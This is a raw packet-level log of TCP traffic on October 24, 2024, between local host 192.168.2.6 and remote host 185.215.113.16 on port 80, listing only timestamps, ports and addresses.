Oct 24, 2024 04:58:12.936985970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.937016964 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.937036037 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.937083006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.954796076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.954828024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.954873085 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.954879045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.954912901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.954947948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.954958916 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.954983950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.955027103 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.966414928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.966445923 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.966475010 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.966480017 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.966512918 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.966532946 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.966533899 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.966563940 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.966584921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.966597080 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.966612101 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.966633081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.966640949 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.966661930 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.966675997 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.966706991 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.966795921 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.966830015 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.966846943 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.966864109 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.966877937 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.966911077 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.966989040 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.967017889 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.967072010 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.967128992 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.967163086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.967190981 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.967210054 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.967217922 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.967252970 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.967274904 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.967287064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.967305899 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.967340946 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.967376947 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.967392921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.967406034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:12.967428923 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:12.967458010 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.001091003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.001204967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.001240015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.001259089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.001275063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.001307011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.001338959 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.001341105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.001374960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.001385927 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.001410961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.001440048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.001456976 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.005230904 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.005283117 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.005285978 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.005317926 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.005337000 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.005351067 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.005361080 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.005386114 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.005403996 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.005422115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.005441904 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.005462885 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.005491018 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.005525112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.005546093 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.005578041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.005647898 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.005698919 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.005701065 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.005749941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.006270885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.006304979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.006331921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.006340027 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.006352901 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.006392002 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.006457090 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.006490946 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.006510019 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.006527901 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.006535053 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.006581068 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.006599903 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.006650925 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.006650925 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.006688118 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.006707907 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.006732941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.006822109 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.006850958 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.006875038 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.006894112 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.006951094 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.006984949 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.007004976 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.007018089 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.007049084 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.007119894 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.007209063 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.007242918 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.007277012 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.007297993 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.007311106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.007335901 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.007381916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.047714949 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.047750950 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.047799110 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.047835112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.047851086 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.047892094 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.053400993 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.053436041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.053458929 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.053482056 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.053488970 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.053523064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.053536892 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.053559065 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.053569078 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.053594112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.053602934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.053648949 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.053735971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.053771019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.053795099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.053806067 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.053817034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.053841114 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.053858995 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.053894997 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.054079056 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.054112911 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.054135084 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.054147005 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.054172039 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.054181099 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.054218054 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.054220915 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.054271936 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.054507971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.054537058 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.054605007 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.074170113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.074204922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.074239016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.074249983 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.074274063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.074299097 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.074306965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.074340105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.074351072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.083698034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.083728075 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.083781958 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.083789110 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.083811045 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.083863974 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.083863974 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.083895922 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.083904028 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.083930016 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.083945990 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.083976984 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.083997011 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.084044933 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.084052086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.084086895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.084105968 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.084126949 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.084301949 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.084336996 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.084359884 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.084372044 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.084379911 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.084407091 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.084422112 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.084454060 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.084585905 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.084614992 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.084667921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.084758043 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.084791899 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.084826946 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.084846020 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.084860086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.084882975 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.084907055 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.120585918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.120646954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.120699883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.120712996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.120735884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.120758057 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.120769978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.120805025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.120815039 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.120839119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.120887995 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.120893002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.120922089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.120954037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.120965004 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.120986938 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.121463060 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.122734070 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.122766972 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.122792959 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.122808933 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.122859955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.122879982 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.122895002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.122929096 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.122935057 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.122962952 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.122963905 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.122982979 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.123001099 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.123018980 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.123055935 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.123445988 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.123500109 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.123529911 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.123558998 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.123564005 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.123579025 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.123619080 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.123650074 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.123678923 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.123716116 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.123727083 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.123744965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.123765945 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.123789072 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.123897076 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.123930931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.123955011 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.123964071 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.123976946 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.124015093 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.124131918 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.124190092 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.124205112 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.124332905 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.124346018 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.124382019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.124398947 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.124416113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.124429941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.124450922 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.124469995 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.124485016 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.124500036 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.124521971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.124538898 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.124574900 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.165045023 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.165065050 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.165076971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.165087938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.165097952 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.165112019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.165136099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.165221930 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.170623064 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.170681953 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.170687914 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.170718908 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.170732975 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.170754910 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.170779943 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.170789957 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.170800924 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.170828104 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.170855999 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.170862913 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.170882940 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.170900106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.170917034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.170933962 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.170958042 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.170999050 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.171200037 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.171233892 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.171264887 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.171267986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.171287060 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.171302080 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.171319008 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.171356916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.171478987 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.171508074 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.171561003 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.193624020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.193659067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.193695068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.193727970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.193747997 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.193762064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.193785906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.200875998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.200911045 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.200937033 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.200949907 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.200959921 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.200994968 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.201001883 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.201036930 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.201071024 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.201085091 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.201114893 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.201147079 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.201175928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.201193094 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.201217890 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:13.201287031 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:13.201318979 CEST	80	49996	185.215.113.16	192.168.2.6
